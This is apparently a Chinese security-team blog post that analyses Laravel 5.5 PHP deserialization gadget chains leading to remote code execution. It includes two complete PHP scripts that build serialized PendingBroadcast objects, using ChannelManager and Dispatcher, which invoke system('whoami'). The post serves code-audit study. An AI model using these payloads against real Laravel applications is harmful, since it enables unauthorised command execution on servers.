微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们
依然是找到destruct
函数,这里我们依然先从54漏洞的位置来分析:
再寻找call
函数之前,先梳理一下我们通过call
方法的思路:
思路清楚了,再来开始审计把,寻找call
方法:
同样还是找到了Laravel 54的入口点,继续进去看看行不行:
查看变量是否可控:
formatters
依然可控
这里有一点要说明一下,前面5.4的时候说的不是很清楚:
仔细看一下手册就知道system了:
因此我们可以传入一个数组进来
但是这里又遇到一个问题,上一篇写Laravel 54的时候忽略了这个问题:$argument=array();
经过处理后,到底是什么样的?
很显然,本身的值就是一个Array
,那么这里如何执行我们的cmd呢?
这里写个代码自己测试一下就知道了
1<?php
2 class test {
3 protected $abc='456';
4 protected $cde='789';
5 public $events='1111';
6 /*public function echo1($abc)
7 {
8 echo $abc;
9 }
10 public function dog($cde)
11 {
12 echo $cde;
13 }
14 */
15 public function construct($bcsadsa=array()) {
16 echo $bcsadsa;
17 }
18}
19$a=new test('123' );
还是自己的基础知识不够扎实啊,这个地方绕了还是挺久的
上述代码经过各种编写,自己又进一步了解到php里面传参、控制变量等等知识点,总结如下:
-
只要不同方法里面,需要传参的个数是一样的,就可以一直把方法控制下去
-
如果遇到需要传入参数个数不一样,然后这个方法的类里面又没有定义这个参数,就无法控制
-
既然这些都已经了解了,那么就不再继续讲解这个链了,看我之前文章即可
这里_call
方法我们从IlluminateValidationValidator
入手:
注:主要代码如下,已经删除无关代码,可以清楚看清楚如何调用,不用自己一步一步去切换
_call
-->if语句
if语句
-->callExtension
-->is_callable
is_callable
-->call_user_func_array
调用的难点:$rule
经过snake
方法改变了传进去methoed
值
调用call_user_func
方法就要通过is_callable
$rule
通过substr
从第八个字符开始截取,snake
存在字符串替换,大小写转换等等,那么如果让传入的value
等于空,返回值也会是空,那么这里$rule
的值可控,并且是空(没有具体去看如果传入字符串会 被怎么变形,但是这里很显然传入空,是不会做变形的)
再来看第二个难点is_callable:
首先extensions
是一个protected
的数组,我们可控;rule
的值是空,那么序号1这个地方,我们可控;然后进入调用callExtension
,这里把extensions
数组rule
对应的键值赋给callback
;就进入最后一个is_callable
的判断
那就了解一下is_callable
吧:
最后打出的结果:
首先找到一个_call
方法作为入口
这里找到的是IlluminateSupportManager
这个类中的,跟踪结果如下:
在该类中找不到getDefaultDriver()
方法,注意前面是abstract
声明,表名这是一个接口,我们可以从其他类里面去实例化
然后开始寻找getDefaultDriver
方法,IlluminateNotificationsChannelManager
找到一个:
并且参数可控:
这样一来,通过这个函数我们就可以控制$driver
参数的值
现在参数值也可控了,但是没有可以进行命令执行的点,继续看一下creatDriver
这个方法,看看能否有突破口:
可以看到creatDriver
方法里面基本上都是if语句
看看能不能有所突破,发现一个可以RCE的形式:
1if (isset($this->customCreators[$driver])) {
2 return $this->callCustomCreator($driver);
3 }
driver
的值可控,customCreators
这个数组可控function callCustomCreator
,又因为this-->app
的可控return->customCreators[driver] ($this->app)
的所有参数都可控就这样实现RCE,整个流程图如下:
EXP:
1<?php namespace IlluminateBroadcasting {
2 class PendingBroadcast {
3 protected $events;
4 function __construct($events) {
5 $this->events = $events;
6 }
7 }
8}
9namespace IlluminateNotifications {
10 class ChannelManager {
11 protected $app;
12 protected $defaultChannel;
13 protected $customCreators;
14 function __construct($function, $parameter) {
15 $this->app = $parameter;
16 $this->customCreators = ['nice' => $function];
17 $this->defaultChannel = 'nice';
18 }
19 }
20}
21namespace {
22 $b = new IlluminateNotificationsChannelManager('system','whoami');
23 $a = new IlluminateBroadcastingPendingBroadcast($b);
24 echo base64_encode(serialize($a));
25}
26
可以看到执行成功
这一条链子比较简单直接,直接放流程图分析:
寻找RCE的地方,然后逆推回来
这里RCE的方式是listener(event,playload);
看一下$event
是否可控
list
函数这里不影响$events
的取值,我们传入的events
就是我们要执行的命令(dir
,记住这里的dir
,后面有用);
再来看一下$listenners
的值能不能可控:
一图了然,几个需要注意的地方
返回listeners
的值是数组listenner[eventName]
的值,这里可控
注意:这里的eventName
的值就是我们传进来的event
(即dir
)
就变成了listenner=['dir'=>'system']
,这样就可以成功取到system
POC:
1<?php namespace IlluminateBroadcasting {
2 class PendingBroadcast {
3 protected $events;
4 protected $event;
5 function __construct($events, $parameter) {
6 $this->events = $events;
7 $this->event = $parameter;
8 }
9 }
10}
11namespace IlluminateEvents {
12 class Dispatcher {
13 protected $listeners;
14 function __construct($function, $parameter) {
15 $this->listeners = [ $parameter => [$function] ];
16 }
17 }
18}
19namespace {
20 $b = new IlluminateEventsDispatcher('system','whoami');
21 $a = new IlluminateBroadcastingPendingBroadcast($b,'whoami');
22 echo urlencode(serialize($a));
23}
24
执行成功
-
寻找链子一定要有耐心,寻找可以RCE的点,再去寻找参数是否可控
-
对于很多无关的代码,可以调试看看是什么意思
-
也可以不调试,直接理解函数意思
-
初次审计代码,很多方法很多传变量是否覆盖,这些都存在很大问题,审计完两个框架之后就会好很多
注:上面的链子是参考Firebasky师傅的文章
在这里,先提前祝各位师傅们元宵节快乐呀!!!
我是E1even,我在渊龙Sec安全团队等你
微信公众号:渊龙Sec安全团队
欢迎关注我,一起学习,一起进步~
本篇文章为团队成员原创文章,请不要擅自盗取!
原文始发于微信公众号(渊龙Sec安全团队):Laravel 5.5 RCE分析(四条链)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论